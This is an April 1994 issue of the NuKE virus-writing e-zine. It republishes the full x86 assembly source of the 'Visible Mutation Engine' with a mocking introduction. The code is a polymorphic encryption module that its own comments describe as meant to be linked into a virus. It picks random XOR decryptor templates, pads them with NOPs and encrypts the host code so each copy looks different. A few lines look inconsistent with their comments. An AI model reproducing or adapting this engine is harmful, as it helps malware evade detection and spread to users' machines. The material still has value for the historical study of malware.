Copy Link
Add to Bookmark
Report
NuKE Issue 08-005
-----BEGIN PGP SIGNED MESSAGE-----
NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_N
uK Nu
KE "The Visible Mutation Engine" uK
E_ KE
_N E_
Nu _N
uK Nu
KE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuKE_NuK
NuKE Info-Journal #8
April 1994
This little beast comes from the same person whom published "The Little
Black Book of Viruses." Humm what's his name, oh yeah, now I remember, but
please send 200$ to me, and I'll tell you!
Or for 25$ I can send you a diskette with the Jerusalem virus. Please! Do
you believe that he's selling this 'Mutation Engine" for 75$ (US)?
What a complete joke! Anyhow on the Freedom of Information Act we present this
to you. There was NO AUTHOR name attached to this source, and no Copyright
notice! So therefore it is perfectly legal to distribute this anonymous
source code of this mutation engine. :-)
And yes, Mr. John "All-Knowing" Buchanan had this virus in his archives for
at _least_ 7 years now! Nevertheless he had it before _anyone_ even had it,
and its because of him that you have it today! (NOT) :-)
-NuKE Staff
================================================================================
; The visible mutation engine
; The engine is an object module which can be linked into a virus,
; or any other piece of software that needs to be self-encrypting.
;On calling the ENCRYPT routine,
;DS:SI points to where the code to encrypt is
;ES:DI points to where the decryption routine + encrypted code should be placed
;DX<>0 the fixed size of the encrypted code
;CX is the size of the encrypted code
;BX is the starting offset of the decryption routine
; On return, carry will be set if there was an error which prevented the engine
; from generating the code. If successful, carry will be cleared.
; CX will be returned with the decrpytion routine + Code size
.model tiny
.code
public ENCRYPT
extrn RANDOM_SEED:near
extrn GET_RANDOM:near
CODE_LOC DD 0 ;area to save all passed
;parameters
ENCR_LOC DD 0
DECR_SIZE DW 0
DECR_OFFS DW 0
CODE_SIZE DW 0
ENCRYPT:
cld
push bp ;preserve bp
call GET_LOC ;first figure out where
;we are
GET_LOC: pop bp
sub bp,OFFSET GET_LOC ;offset stored in bp always
push ds
mov cs:(bp)(DECR_OFFS),bx ;save all calling parameters
mov bx,bp ;put base in bx
mov WORD PTR CS:(bx)(CODE_LOC),si
mov WORD PTR CS:(BX)(CODE_LOC+2),ds
push cs
pop ds
mov WORD PTR (bx)(ENCR_LOC),di
mov WORD PTR (bx)(ENCR_LOC+2),cs
mov (bx)(CODE_SIZE),cx
mov (bx)(DECR_SIZE),dx
call RANDOM_SEED ;seed random number generator
call SELECT_BASE ;select decryptor base to use
jc ERR_EXIT ;Exit if error
call INIT_BASE ;Initilaize decryptor
jc ERR_EXIT
call GENERATE_DECRYPT ;create a decrypt routine in workspace
jc ERR_EXIT
call ENCRYPT_CODE ;Encrypt the code as desired
jc ERR_EXIT
les di,(bx)(ENCR_LOC) ;else set exit parameters
mov cx,(bx)(CODE_SIZE)
add cx,(bx)(DECR_SIZE) ;cx=code+decr rtn size
ERR_EXIT: pop ds
pop bp
ret
;**************************************************************************************************
;This routine selects which encrytor base to use. It simply gives each
;decryptor an even chance of being used. BASE_COUNT holds the total number
;of decryptor bases available to use, and BASE_NO is set by this function
;to the one that will be used from here on out. This routine also sets the
;size of the decryptor, if a fixed size is not specified. If a fixed size
;is specified, it checks to make sure enough room has been allotted. If not,
;it returns with carry set to indicate an error.
SELECT_BASE:
call GET_RANDOM ;get a random number
xor dx,dx ;make it a dword
mov cx,(bx)(BASE_COUNT) ;get total number of base routines
div cx
mov (bx)(BASE_NO),dx ;save choice in BASE_NO
mov ax,(bx)(DECR_SIZE) ;ok get requested size
mov si,dx ;get base number
shl si,1 ;make an address out of it
add si,OFFSET BASE_SIZE_TBL
mov cx,[bx][si] ;get selected base size
or ax,ax ;is base size 0?
js SEL_SIZE1 ;yes, select a random size
cmp ax,cx ;is ax>=cx?
retn ;return with carry set right
;if no base size selected, pick a random size between the mininum required
;size and the mininum +127
SEL_SIZE1: call GET_RANDOM
and ax,007FH
add ax,cx
mov (bx)(DECR_SIZE),ax
clc
retn
;****************************************************************************
;This routine initializes the base routine for this roundof encryption. It
;is responsible for inserting any starting/ending addresses into the base,
;and anyrandom numbers that the base uses for encryption and decryption.
;It must insure that the encrpytor and decryptor are used up the same way,
;so they must work properly together. INIT_BASE itself is just a lookup
;function that jumps to the proper rountine to work with the current base,
;as selected by SELECT_BASE. That funtions in the lookup table performs all of
;the routine-specific chores.
INIT_BASE:
mov si,(bx)(BASE_NO)
shl si,1 ;determine decryptor to use
add si,OFFSET INIT_TABLE
add [bx][si],bx
jmp [bx][si]
INIT_TABLE DW OFFSET INIT_BASE0
DW OFFSET INIT_BASE1
;Inialize decryptor base number 0. This only has to st up the decryptor
;because the encryptor calls the decryptor.
INIT_BASE0:
sub [bx][si],bx ;make sure to clean up INIT_TABLE1
mov si,D0START ;set start address
mov ax,(bx)(DECR_OFFS)
add ax,(bx)(DECR_SIZE)
mov [bx][si],ax
mov si,D0SIZE ;set size to decrypt
mov ax,(bx)(CODE_SIZE)
mov [bx][si],ax
IB0TRYA: call GET_RANDOM
or ah,ah ;avoid triviality!!
jz IB0TRYA
mov si,D0RAND1 ;set up first random byte
mov [bx][si],al
mov si,D0RAND2 ;set up second random byte
mov [bx][si],ah
clc
retn ;Thats all folks!
;Initilize decryptor base number 1. This only has to set up the decryptor
;because the encryptor calls the decryptor.
INIT_BASE1:
sub [bx][si],bx ;Make sure to clean up INIT_TABLE1
mov ax,(bx)(DECR_OFFS)
add ax,(bx)(DECR_SIZE)
mov si,D1START1 ;set start address 1
mov [bx][si],ax
mov si,D1START2 ;set start address 2
mov [bx][si],ax
mov si,D1SIZE ;set size to decrpt
mov ax,(bx)(CODE_SIZE)
shr ax,1 ;use size /2
mov [bx][si],ax
IB1TRYA: call GET_RANDOM
or ah,ah ;avoid triviality!!
jz IB1TRYA ;both bytes must be non-zero
or al,al
jz IB1TRYA
mov si,D1RAND ;set up random word
mov [bx][si],ax
clc
retn ;Thats all folk
;****************************************************************************
;This routine encrypts the code using the desored encryption routine.
;On entry, es:di must point to where the encrypted code will go.
ENCRYPT_CODE:
mov si,(bx)(BASE_NO)
shl si,1
add si,OFFSET ENCR_TABLE
add [bx][si],bx
jmp [bx][si]
ENCR_TABLE DW OFFSET ENCRYPT_CODE0
DW OFFSET ENCRYPT_CODE1
;Encryptor to go with decryptor base 0
ENCRYPT_CODE0:
sub [bx][si],bx ;make sure to clean up ENCR_TABLE!
push ds ;may use different ds below
mov cx,(bx)(CODE_SIZE)
lds si,(bx)(CODE_LOC) ;ok, es:di and ds:si set up
push cx
push di
rep movsb
pop si
pop cx
push es
pop ds
call ENCRYPT0 ;call encryptor
pop ds
mov bx,bp ;restore bx to code base
clc ;return o reset for success
retn
;Encryptor to go with decryptor base 1
ENCRYPT_CODE1:
sub [bx][si],bx ;make sure to clean up ENCR_TABLE!
push ds ;may use different ds below
mov cx,(bx)(CODE_SIZE)
lds si,(bx)(CODE_LOC) ;ok, es:di and ds:si set up
push cx
push di
rep movsb
mov si,di
pop dx
push es
pop ds
call ENCRYPT1 ;call encryptor
pop ds
clc ;return o reset for success
retn
;*************************************************************************************
;The following routine generate: a decrypt routine and places it in memory
;at (ENCR_LOC). This returns with es:di pointing to where encrypted code
;should go. It is assumed to have been setup properly by INIT_BASE. As with
;INIT_BASE, this routine performs a jump to the proper routine selected by
;BASE_NO, which does all of the detalied work.
GENERATE_DECRYPT:
mov si,(bx)(BASE_NO)
shl si,1 ;determine encryptor to use
add si,OFFSET DECR_TABLE
add [bx][si],bx
jmp [bx][si]
DECR_TABLE DW OFFSET GEN_DECRYPT0
DW OFFSET GEN_DECRYPT1
;Generate the base routine 0.
GEN_DECRYPT0:
sub [bx][si],bx ;make sure to clean up DECR_TABLE!
mov cx,OFFSET D0RET
sub cx,OFFSET DECRYPT0 ;cx=# of bytes in decryptor
push cx
mov si,OFFSET DECRYPT0 ;(bx)(si) points to DECRYPT0
add si,bx ;si points to DECRYPT0
les di,(bx)(ENCR_LOC) ;es:di points to where to put it
rep movsb ;simply move it for now
pop ax
mov cx,(bx)(DECR_SIZE) ;get decryptor size
sub cx,ax ;need this many more bytes
mov al,90h ;NOP code in al
rep stosb ;put NOP's in
clc ;return with c reset
retn
;Generate the base routine 1.
GEN_DECRYPT1:
sub [bx][si],bx ;make sure to clean up DECR_TABLE!
mov cx,OFFSET D1RET
sub cx,OFFSET DECRYPT1 ;cx=# of bytes in decryptor
push cx
mov si,OFFSET DECRYPT1 ;(bx)(si) points to DECRYPT1
add si,bx ;si points to DECRYPT1
les di,(bx)(ENCR_LOC) ;es:di points to where to put it
rep movsb ;simply move it for now
pop ax
mov cx,(bx)(DECR_SIZE) ;get decryptor size
sub cx,ax ;need this many more bytes
mov al,90h ;NOP code in al
rep stosb ;put NOP's in
clc ;return with c reset
retn
;***********************************************************************************
;Bases for Decrypt/Encrypt routines.
BASE_COUNT DW 2 ;numbers of base routines available
BASE_NO DW 0 ;base number in use
BASE_SIZE_TBL DW OFFSET D0RET - OFFSET DECRYPT0
DW OFFSET D1RET - OFFSET DECRYPT1
;This is the actual base routine 0 This is just a single reference, varying
;byte-wise XOR routine
DECRYPT0:
mov si,0 ;mov si,OFFSET ENCRYPTED
mov cx,0 ;mov cx,ENCRYPTED SIZE
ENCRYPT0: mov bl,0 ;mov bl,RANDOM BYTE 1
D0LP: xor [si],bl
inc si
add bl,0 ;add bl,RANDOM BYTE 2
loop D0LP
D0RET: retn ;not used by decryptor
;Defines to go with base routine 0
D0START EQU OFFSET DECRYPT0 + 1
D0SIZE EQU OFFSET DECRYPT0 + 4
D0RAND1 EQU OFFSET DECRYPT0 + 7
D0RAND2 EQU OFFSET DECRYPT0 + 13
;Here is the base routine 1. This is a double reference, word wise, fixed XOR
;encryptor
DECRYPT1:
mov si,0
mov di,0
mov dx,0
ENCRYPT1:
D1LP:
mov ax,(si)
add si,2
xor ax,0
mov ds:(di),ax
add di,2
dec dx
jnz D1LP
D1RET: ret
;Defines to go with base routine 1
D1START1 EQU OFFSET DECRYPT1 + 1
D1START2 EQU OFFSET DECRYPT1 + 4
D1SIZE EQU OFFSET DECRYPT1 + 7
D1RAND EQU OFFSET DECRYPT1 + 13
END
================================================================================
-----BEGIN PGP SIGNATURE-----
Version: 2.2
iQCVAgUBLfmlc00EOTLgG0HDAQH5rwQAn9ENsvQWTnhEQY0uSEClfvB9h7n4uQBN
C4XkYx+TucCM3CsGq/eZ3Dsxz/jN/Fh7LmyFxkone9m/Eqycsd/Ttm0dEWqJLNRO
n8HLO03eesFaLxiCnntmmtZs211nbyU5waJnJCOOJLU7WkzC1y4Y//Dz284vZk6U
M0nXGwK+3cc=
=Tj+f
-----END PGP SIGNATURE-----